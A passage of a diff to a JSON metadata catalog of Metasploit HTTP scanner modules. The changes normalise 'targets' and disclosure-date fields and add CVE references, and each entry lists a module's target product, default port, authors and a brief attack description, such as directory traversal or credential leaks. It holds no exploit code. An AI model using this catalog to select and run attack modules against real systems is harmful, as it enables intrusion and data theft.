"2017-02-12", "type": "auxiliary", "author": [ "Eric Flokstra", @@ -15550,9 +14452,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/kodi_traversal.rb", "is_install_path": true, @@ -15577,9 +14477,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/linknat_vos_traversal.rb", "is_install_path": true, @@ -15607,9 +14505,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb", "is_install_path": true, @@ -15637,9 +14533,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb", "is_install_path": true, @@ -15663,9 +14557,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/lucky_punch.rb", "is_install_path": true, @@ -15675,7 +14567,7 @@ "name": "Majordomo2 _list_file_get() Directory Traversal", "full_name": "auxiliary/scanner/http/majordomo2_directory_traversal", "rank": 300, - "disclosure_date": "2011-03-08 00:00:00 -0600", + "disclosure_date": "2011-03-08", "type": "auxiliary", "author": [ "Nikolas Sotiriu" @@ -15693,9 +14585,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb", "is_install_path": true, @@ -15719,9 +14609,7 @@ "platform": "", "arch": "", "rport": "8020", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb", "is_install_path": true, @@ -15731,7 +14619,7 @@ "name": "ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName Traversal", "full_name": "auxiliary/scanner/http/manageengine_deviceexpert_traversal", "rank": 300, - "disclosure_date": "2012-03-18 00:00:00 -0500", + "disclosure_date": "2012-03-18", "type": "auxiliary", "author": [ "rgod", @@ -15746,9 +14634,7 @@ "platform": "", "arch": "", "rport": "6060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb", "is_install_path": true, @@ -15758,7 +14644,7 @@ "name": "ManageEngine DeviceExpert User Credentials", "full_name": "auxiliary/scanner/http/manageengine_deviceexpert_user_creds", "rank": 300, - "disclosure_date": "2014-08-28 00:00:00 -0500", + "disclosure_date": "2014-08-28", "type": "auxiliary", "author": [ "Pedro Ribeiro ", @@ -15775,9 +14661,7 @@ "platform": "", "arch": "", "rport": "6060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb", "is_install_path": true, @@ -15787,7 +14671,7 @@ "name": "ManageEngine SecurityManager Plus 5.5 Directory Traversal", "full_name": "auxiliary/scanner/http/manageengine_securitymanager_traversal", "rank": 300, - "disclosure_date": "2012-10-19 00:00:00 -0500", + "disclosure_date": "2012-10-19", "type": "auxiliary", "author": [ "blkhtc0rp", @@ -15803,9 +14687,7 @@ "platform": "", "arch": "", "rport": "6262", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb", "is_install_path": true, @@ -15833,9 +14715,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb", "is_install_path": true, @@ -15861,9 +14741,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb", "is_install_path": true, @@ -15887,9 +14765,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/mod_negotiation_brute.rb", "is_install_path": true, @@ -15913,9 +14789,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb", "is_install_path": true, @@ -15944,9 +14818,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb", "is_install_path": true, @@ -15977,9 +14849,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb", "is_install_path": true, @@ -16003,9 +14873,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/mybook_live_login.rb", "is_install_path": true, @@ -16015,7 +14883,7 @@ "name": "NetDecision NOCVision Server Directory Traversal", "full_name": "auxiliary/scanner/http/netdecision_traversal", "rank": 300, - "disclosure_date": "2012-03-07 00:00:00 -0600", + "disclosure_date": "2012-03-07", "type": "auxiliary", "author": [ "Luigi Auriemma", @@ -16023,6 +14891,7 @@ ], "description": "This module exploits a directory traversal bug in NetDecision's\n TrafficGrapherServer.exe service. This is done by using \"...\\\" in\n the path to retrieve a file on a vulnerable machine.", "references": [ + "CVE-2012-1465", "OSVDB-79863", "URL-http://aluigi.altervista.org/adv/netdecision_1-adv.txt" ], @@ -16031,9 +14900,7 @@ "platform": "", "arch": "", "rport": "8087", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/netdecision_traversal.rb", "is_install_path": true, @@ -16060,9 +14927,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb", "is_install_path": true, @@ -16090,9 +14955,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/nginx_source_disclosure.rb", "is_install_path": true, @@ -16102,7 +14965,7 @@ "name": "NFR Agent FSFUI Record Arbitrary Remote File Access", "full_name": "auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess", "rank": 300, - "disclosure_date": "2012-11-16 00:00:00 -0600", + "disclosure_date": "2012-11-16", "type": "auxiliary", "author": [ "juan vazquez " @@ -16117,9 +14980,7 @@ "platform": "", "arch": "", "rport": "3037", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb", "is_install_path": true, @@ -16129,7 +14990,7 @@ "name": "NFR Agent SRS Record Arbitrary Remote File Access", "full_name": "auxiliary/scanner/http/novell_file_reporter_srs_fileaccess", "rank": 300, - "disclosure_date": "2012-11-16 00:00:00 -0600", + "disclosure_date": "2012-11-16", "type": "auxiliary", "author": [ "juan vazquez " @@ -16144,9 +15005,7 @@ "platform": "", "arch": "", "rport": "3037", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb", "is_install_path": true, @@ -16173,9 +15032,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/novell_mdm_creds.rb", "is_install_path": true, @@ -16199,9 +15056,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb", "is_install_path": true, @@ -16225,9 +15080,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/octopusdeploy_login.rb", "is_install_path": true, @@ -16252,9 +15105,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/open_proxy.rb", "is_install_path": true, @@ -16278,9 +15129,7 @@ "platform": "", "arch": "", "rport": "8888", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/openmind_messageos_login.rb", "is_install_path": true, @@ -16309,9 +15158,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/options.rb", "is_install_path": true, @@ -16321,7 +15168,7 @@ "name": "Oracle Demantra Database Credentials Leak", "full_name": "auxiliary/scanner/http/oracle_demantra_database_credentials_leak", "rank": 300, - "disclosure_date": "2014-02-28 00:00:00 -0600", + "disclosure_date": "2014-02-28", "type": "auxiliary", "author": [ "Oliver Gruskovnjak" @@ -16338,9 +15185,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb", "is_install_path": true, @@ -16350,7 +15195,7 @@ "name": "Oracle Demantra Arbitrary File Retrieval with Authentication Bypass", "full_name": "auxiliary/scanner/http/oracle_demantra_file_retrieval", "rank": 300, - "disclosure_date": "2014-02-28 00:00:00 -0600", + "disclosure_date": "2014-02-28", "type": "auxiliary", "author": [ "Oliver Gruskovnjak" @@ -16367,9 +15212,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb", "is_install_path": true, @@ -16393,9 +15236,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/oracle_ilom_login.rb", "is_install_path": true, @@ -16419,9 +15260,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/owa_ews_login.rb", "is_install_path": true, @@ -16431,7 +15270,7 @@ "name": "Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure", "full_name": "auxiliary/scanner/http/owa_iis_internal_ip", "rank": 300, - "disclosure_date": "2012-12-17 00:00:00 -0600", + "disclosure_date": "2012-12-17", "type": "auxiliary", "author": [ "Nate Power" @@ -16445,9 +15284,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb", "is_install_path": true, @@ -16479,9 +15316,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-23 13:16:41 +0000", "path": "/modules/auxiliary/scanner/http/owa_login.rb", "is_install_path": true, @@ -16505,9 +15340,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/pocketpad_login.rb", "is_install_path": true, @@ -16531,9 +15364,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb", "is_install_path": true, @@ -16557,9 +15388,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/radware_appdirector_enum.rb", "is_install_path": true, @@ -16584,9 +15413,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb", "is_install_path": true, @@ -16610,9 +15437,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/rails_mass_assignment.rb", "is_install_path": true, @@ -16638,9 +15463,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb", "is_install_path": true, @@ -16664,9 +15487,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/replace_ext.rb", "is_install_path": true, @@ -16691,9 +15512,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb", "is_install_path": true, @@ -16717,9 +15536,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/rfcode_reader_enum.rb", "is_install_path": true, @@ -16745,9 +15562,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/rips_traversal.rb", "is_install_path": true, @@ -16757,7 +15572,7 @@ "name": "Riverbed SteelHead VCX File Read", "full_name": "auxiliary/scanner/http/riverbed_steelhead_vcx_file_read", "rank": 300, - "disclosure_date": "2017-06-01 00:00:00 -0500", + "disclosure_date": "2017-06-01", "type": "auxiliary", "author": [ "Gregory DRAPERI ", @@ -16772,9 +15587,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb", "is_install_path": true, @@ -16798,9 +15611,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/robots_txt.rb", "is_install_path": true, @@ -16810,7 +15621,7 @@ "name": "S40 0.4.2 CMS Directory Traversal Vulnerability", "full_name": "auxiliary/scanner/http/s40_traversal", "rank": 300, - "disclosure_date": "2011-04-07 00:00:00 -0500", + "disclosure_date": "2011-04-07", "type": "auxiliary", "author": [ "Osirys ", @@ -16826,9 +15637,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/s40_traversal.rb", "is_install_path": true, @@ -16852,9 +15661,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb", "is_install_path": true, @@ -16878,9 +15685,7 @@ "platform": "", "arch": "", "rport": "6405", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb", "is_install_path": true, @@ -16904,9 +15709,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb", "is_install_path": true, @@ -16930,9 +15733,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb", "is_install_path": true, @@ -16956,9 +15757,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/scraper.rb", "is_install_path": true, @@ -16982,9 +15781,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sentry_cdu_enum.rb", "is_install_path": true, @@ -16994,7 +15791,7 @@ "name": "ManageEngine ServiceDesk Plus Path Traversal", "full_name": "auxiliary/scanner/http/servicedesk_plus_traversal", "rank": 300, - "disclosure_date": "2015-10-03 00:00:00 -0500", + "disclosure_date": "2015-10-03", "type": "auxiliary", "author": [ "xistence " @@ -17008,9 +15805,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb", "is_install_path": true, @@ -17020,7 +15815,7 @@ "name": "SevOne Network Performance Management Application Brute Force Login Utility", "full_name": "auxiliary/scanner/http/sevone_enum", "rank": 300, - "disclosure_date": "2013-06-07 00:00:00 -0500", + "disclosure_date": "2013-06-07", "type": "auxiliary", "author": [ "Karn Ganeshen " @@ -17034,9 +15829,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sevone_enum.rb", "is_install_path": true, @@ -17046,7 +15839,7 @@ "name": "Simple Web Server 2.3-RC1 Directory Traversal", "full_name": "auxiliary/scanner/http/simple_webserver_traversal", "rank": 300, - "disclosure_date": "2013-01-03 00:00:00 -0600", + "disclosure_date": "2013-01-03", "type": "auxiliary", "author": [ "CwG GeNiuS", @@ -17054,6 +15847,7 @@ ], "description": "This module exploits a directory traversal vulnerability found in\n Simple Web Server 2.3-RC1.", "references": [ + "CVE-2002-1864", "OSVDB-88877", "EDB-23886", "URL-http://seclists.org/bugtraq/2013/Jan/12" @@ -17063,9 +15857,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/simple_webserver_traversal.rb", "is_install_path": true, @@ -17075,7 +15867,7 @@ "name": "Supermicro Onboard IPMI Port 49152 Sensitive File Exposure", "full_name": "auxiliary/scanner/http/smt_ipmi_49152_exposure", "rank": 300, - "disclosure_date": "2014-06-19 00:00:00 -0500", + "disclosure_date": "2014-06-19", "type": "auxiliary", "author": [ "Zach Wikholm ", @@ -17093,9 +15885,7 @@ "platform": "", "arch": "", "rport": "49152", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb", "is_install_path": true, @@ -17105,7 +15895,7 @@ "name": "Supermicro Onboard IPMI CGI Vulnerability Scanner", "full_name": "auxiliary/scanner/http/smt_ipmi_cgi_scanner", "rank": 300, - "disclosure_date": "2013-11-06 00:00:00 -0600", + "disclosure_date": "2013-11-06", "type": "auxiliary", "author": [ "hdm ", @@ -17122,9 +15912,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb", "is_install_path": true, @@ -17134,7 +15922,7 @@ "name": "Supermicro Onboard IPMI Static SSL Certificate Scanner", "full_name": "auxiliary/scanner/http/smt_ipmi_static_cert_scanner", "rank": 300, - "disclosure_date": "2013-11-06 00:00:00 -0600", + "disclosure_date": "2013-11-06", "type": "auxiliary", "author": [ "hdm ", @@ -17150,9 +15938,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb", "is_install_path": true, @@ -17162,7 +15948,7 @@ "name": "Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal", "full_name": "auxiliary/scanner/http/smt_ipmi_url_redirect_traversal", "rank": 300, - "disclosure_date": "2013-11-06 00:00:00 -0600", + "disclosure_date": "2013-11-06", "type": "auxiliary", "author": [ "hdm ", @@ -17178,9 +15964,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb", "is_install_path": true, @@ -17204,9 +15988,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/scanner/http/soap_xml.rb", "is_install_path": true, @@ -17216,7 +15998,7 @@ "name": "Sockso Music Host Server 1.5 Directory Traversal", "full_name": "auxiliary/scanner/http/sockso_traversal", "rank": 300, - "disclosure_date": "2012-03-14 00:00:00 -0500", + "disclosure_date": "2012-03-14", "type": "auxiliary", "author": [ "Luigi Auriemma", @@ -17231,9 +16013,7 @@ "platform": "", "arch": "", "rport": "4444", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sockso_traversal.rb", "is_install_path": true, @@ -17258,9 +16038,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/splunk_web_login.rb", "is_install_path": true, @@ -17284,9 +16062,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/squid_pivot_scanning.rb", "is_install_path": true, @@ -17296,7 +16072,7 @@ "name": "Squiz Matrix User Enumeration Scanner", "full_name": "auxiliary/scanner/http/squiz_matrix_user_enum", "rank": 300, - "disclosure_date": "2011-11-08 00:00:00 -0600", + "disclosure_date": "2011-11-08", "type": "auxiliary", "author": [ "Troy Rose ", @@ -17311,9 +16087,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb", "is_install_path": true, @@ -17339,9 +16113,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/ssl.rb", "is_install_path": true, @@ -17351,7 +16123,7 @@ "name": "HTTP SSL/TLS Version Detection (POODLE scanner)", "full_name": "auxiliary/scanner/http/ssl_version", "rank": 300, - "disclosure_date": "2014-10-14 00:00:00 -0500", + "disclosure_date": "2014-10-14", "type": "auxiliary", "author": [ "todb " @@ -17367,9 +16139,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/ssl_version.rb", "is_install_path": true, @@ -17379,13 +16149,14 @@ "name": "ManageEngine Support Center Plus Directory Traversal", "full_name": "auxiliary/scanner/http/support_center_plus_directory_traversal", "rank": 300, - "disclosure_date": "2014-01-28 00:00:00 -0600", + "disclosure_date": "2014-01-28", "type": "auxiliary", "author": [ "xistence " ], "description": "This module exploits a directory traversal vulnerability found in ManageEngine\n Support Center Plus build 7916 and lower. The module will create a support ticket\n as a normal user, attaching a link to a file on the server. By requesting our\n own attachment, it's possible to retrieve any file on the filesystem with the same\n privileges as Support Center Plus is running. On Windows this is always with SYSTEM\n privileges.", "references": [ + "CVE-2014-100002", "EDB-31262", "OSVDB-102656", "BID-65199", @@ -17396,9 +16167,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-08 19:00:11 +0000", "path": "/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb", "is_install_path": true, @@ -17408,7 +16177,7 @@ "name": "SurgeNews User Credentials", "full_name": "auxiliary/scanner/http/surgenews_user_creds", "rank": 300, - "disclosure_date": "2017-06-16 00:00:00 -0500", + "disclosure_date": "2017-06-16", "type": "auxiliary", "author": [ "Brendan Coles " @@ -17422,9 +16191,7 @@ "platform": "", "arch": "", "rport": "9080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/surgenews_user_creds.rb", "is_install_path": true, @@ -17448,9 +16215,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/svn_scanner.rb", "is_install_path": true, @@ -17474,9 +16239,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb", "is_install_path": true, @@ -17486,7 +16249,7 @@ "name": "Sybase Easerver 6.3 Directory Traversal", "full_name": "auxiliary/scanner/http/sybase_easerver_traversal", "rank": 300, - "disclosure_date": "2011-05-25 00:00:00 -0500", + "disclosure_date": "2011-05-25", "type": "auxiliary", "author": [ "Sow Ching Shiong", @@ -17504,9 +16267,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb", "is_install_path": true, @@ -17516,7 +16277,7 @@ "name": "Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability", "full_name": "auxiliary/scanner/http/symantec_brightmail_ldapcreds", "rank": 300, - "disclosure_date": "2015-12-17 00:00:00 -0600", + "disclosure_date": "2015-12-17", "type": "auxiliary", "author": [ "Fakhir Karim Reda " @@ -17532,9 +16293,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb", "is_install_path": true, @@ -17544,7 +16303,7 @@ "name": "Symantec Messaging Gateway 9.5 Log File Download Vulnerability", "full_name": "auxiliary/scanner/http/symantec_brightmail_logfile", "rank": 300, - "disclosure_date": "2012-11-30 00:00:00 -0600", + "disclosure_date": "2012-11-30", "type": "auxiliary", "author": [ "Ben Williams ", @@ -17563,9 +16322,7 @@ "platform": "", "arch": "", "rport": "41080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb", "is_install_path": true, @@ -17589,9 +16346,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb", "is_install_path": true, @@ -17615,9 +16370,7 @@ "platform": "", "arch": "", "rport": "31001", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb", "is_install_path": true, @@ -17641,9 +16394,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/title.rb", "is_install_path": true, @@ -17670,9 +16421,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/tomcat_enum.rb", "is_install_path": true, @@ -17715,9 +16464,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:31:56 +0000", "path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb", "is_install_path": true, @@ -17745,9 +16492,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb", "is_install_path": true, @@ -17773,9 +16518,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/trace.rb", "is_install_path": true, @@ -17799,9 +16542,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/trace_axd.rb", "is_install_path": true, @@ -17825,9 +16566,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/typo3_bruteforce.rb", "is_install_path": true, @@ -17851,9 +16590,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/vcms_login.rb", "is_install_path": true, @@ -17877,9 +16614,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ 